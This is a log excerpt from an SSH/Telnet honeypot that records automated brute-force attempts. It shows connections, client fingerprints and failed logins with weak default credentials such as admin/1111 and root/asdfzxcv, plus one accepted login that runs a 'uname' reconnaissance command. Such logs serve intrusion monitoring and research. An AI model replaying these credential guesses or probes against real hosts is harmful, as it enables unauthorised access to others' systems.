{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:36.502378Z","src_ip":"31.40.204.166","session":"92e9a91b294e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1111","message":"login attempt [admin/1111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:37.211785Z","src_ip":"31.40.204.166","session":"92e9a91b294e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:38.398971Z","src_ip":"31.40.204.166","session":"92e9a91b294e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34126,"dst_ip":"10.17.0.5","dst_port":23,"session":"874aa64ced30","protocol":"telnet","message":"New connection: 152.42.224.71:34126 (10.17.0.5:23) [session: 874aa64ced30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:42.173859Z"}
{"eventid":"cowrie.session.closed","duration":40.02958798408508,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:43.702602Z","src_ip":"152.42.224.71","session":"7dadae5b78b9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":34142,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9ae525695e","protocol":"telnet","message":"New connection: 152.42.224.71:34142 (10.17.0.5:23) [session: ce9ae525695e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:44.811240Z"}
{"eventid":"cowrie.session.closed","duration":53.36414432525635,"message":"Connection lost after 53 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:46.185222Z","src_ip":"152.42.224.71","session":"eedfce6eee34","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00269389152527,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:47.537354Z","src_ip":"152.42.224.71","session":"f45b567e8c79","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":38102,"dst_ip":"10.17.0.5","dst_port":23,"session":"2dfda3b171d2","protocol":"telnet","message":"New connection: 152.42.224.71:38102 (10.17.0.5:23) [session: 2dfda3b171d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:48.010947Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":56688,"dst_ip":"159.203.135.109","dst_port":22,"session":"91b5f8eab756","protocol":"ssh","message":"New connection: 31.40.204.166:56688 (159.203.135.109:22) [session: 91b5f8eab756]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:48.879397Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:48.883876Z","src_ip":"31.40.204.166","session":"91b5f8eab756","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:49.013685Z","src_ip":"31.40.204.166","session":"91b5f8eab756","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1","message":"login attempt [user/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:49.502389Z","src_ip":"31.40.204.166","session":"91b5f8eab756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":48.71343994140625,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:50.341516Z","src_ip":"152.42.224.71","session":"5ca9e8b245a2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:50.628301Z","src_ip":"31.40.204.166","session":"91b5f8eab756","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.5253210067749,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:54.813117Z","src_ip":"152.42.224.71","session":"8e9d210f0558","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":11.435600519180298,"message":"Connection lost after 11 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:56.246656Z","src_ip":"152.42.224.71","session":"ce9ae525695e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":42372,"dst_ip":"10.17.0.5","dst_port":23,"session":"e60e03f322fb","protocol":"telnet","message":"New connection: 152.42.224.71:42372 (10.17.0.5:23) [session: e60e03f322fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:37:57.464529Z"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":52832,"dst_ip":"159.203.135.109","dst_port":22,"session":"ebf3249d207a","protocol":"ssh","message":"New connection: 31.40.204.166:52832 (159.203.135.109:22) [session: ebf3249d207a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:00.884256Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:00.888061Z","src_ip":"31.40.204.166","session":"ebf3249d207a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:01.008930Z","src_ip":"31.40.204.166","session":"ebf3249d207a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":57.021748542785645,"message":"Connection lost after 57 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:01.393967Z","src_ip":"152.42.224.71","session":"d4b9ab63df49","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"jamalihassab","password":"123456","message":"login attempt [jamalihassab/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:01.698834Z","src_ip":"31.40.204.166","session":"ebf3249d207a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:02.823554Z","src_ip":"31.40.204.166","session":"ebf3249d207a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.979429721832275,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:05.576988Z","src_ip":"152.42.224.71","session":"c42e311866f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37270,"dst_ip":"10.17.0.5","dst_port":23,"session":"8f9b4eb95b68","protocol":"telnet","message":"New connection: 152.42.224.71:37270 (10.17.0.5:23) [session: 8f9b4eb95b68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:09.285991Z"}
{"eventid":"cowrie.session.closed","duration":120.0026695728302,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:10.955000Z","src_ip":"152.42.224.71","session":"3936bd8c0b9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":29.70693016052246,"message":"Connection lost after 29 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:11.880667Z","src_ip":"152.42.224.71","session":"874aa64ced30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":50918,"dst_ip":"159.203.135.109","dst_port":22,"session":"e914ad0e0dcf","protocol":"ssh","message":"New connection: 31.40.204.166:50918 (159.203.135.109:22) [session: e914ad0e0dcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:12.583986Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:12.612039Z","src_ip":"31.40.204.166","session":"e914ad0e0dcf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:12.719202Z","src_ip":"31.40.204.166","session":"e914ad0e0dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":116.18758511543274,"message":"Connection lost after 116 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:13.118796Z","src_ip":"152.42.224.71","session":"7df5dad3a0b0","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"gitlab-runner","password":"123456","message":"login attempt [gitlab-runner/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:13.325113Z","src_ip":"31.40.204.166","session":"e914ad0e0dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.0025064945221,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:14.293918Z","src_ip":"152.42.224.71","session":"612320309675","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:14.502799Z","src_ip":"31.40.204.166","session":"e914ad0e0dcf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00209641456604,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:15.724063Z","src_ip":"152.42.224.71","session":"b8c6e06ebc53","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37300,"dst_ip":"10.17.0.5","dst_port":23,"session":"081cf6988a49","protocol":"telnet","message":"New connection: 152.42.224.71:37300 (10.17.0.5:23) [session: 081cf6988a49]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:16.601547Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":37286,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f806b0524f4","protocol":"telnet","message":"New connection: 152.42.224.71:37286 (10.17.0.5:23) [session: 2f806b0524f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:16.729640Z"}
{"eventid":"cowrie.session.closed","duration":3.5894994735717773,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:20.190952Z","src_ip":"152.42.224.71","session":"081cf6988a49","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.574103116989136,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:22.303606Z","src_ip":"152.42.224.71","session":"2f806b0524f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.00900912284851,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:23.019850Z","src_ip":"152.42.224.71","session":"2dfda3b171d2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"31.40.204.166","src_port":36802,"dst_ip":"159.203.135.109","dst_port":22,"session":"90c7a9a8d612","protocol":"ssh","message":"New connection: 31.40.204.166:36802 (159.203.135.109:22) [session: 90c7a9a8d612]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:24.281523Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:24.288391Z","src_ip":"31.40.204.166","session":"90c7a9a8d612","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:24.414948Z","src_ip":"31.40.204.166","session":"90c7a9a8d612","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"steam","password":"*****","message":"login attempt [steam/*****] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:25.182029Z","src_ip":"31.40.204.166","session":"90c7a9a8d612","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:25.535978Z","src_ip":"31.40.204.166","session":"90c7a9a8d612","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:25.539859Z","src_ip":"31.40.204.166","session":"90c7a9a8d612","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.2","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:25.697346Z","src_ip":"31.40.204.166","session":"90c7a9a8d612","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:25.703043Z","src_ip":"31.40.204.166","session":"90c7a9a8d612","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":49426,"dst_ip":"159.203.135.109","dst_port":22,"session":"a2645dbe2717","protocol":"ssh","message":"New connection: 103.77.242.62:49426 (159.203.135.109:22) [session: a2645dbe2717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:27.256205Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:27.261368Z","src_ip":"103.77.242.62","session":"a2645dbe2717","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:27.497599Z","src_ip":"103.77.242.62","session":"a2645dbe2717","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfzxcv","message":"login attempt [root/asdfzxcv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:28.209758Z","src_ip":"103.77.242.62","session":"a2645dbe2717","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":56.82742190361023,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:28.580649Z","src_ip":"152.42.224.71","session":"d035b4cde9fb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T00:38:29.450271Z","src_ip":"103.77.242.62","session":"a2645dbe2717","protocol":"ssh"}
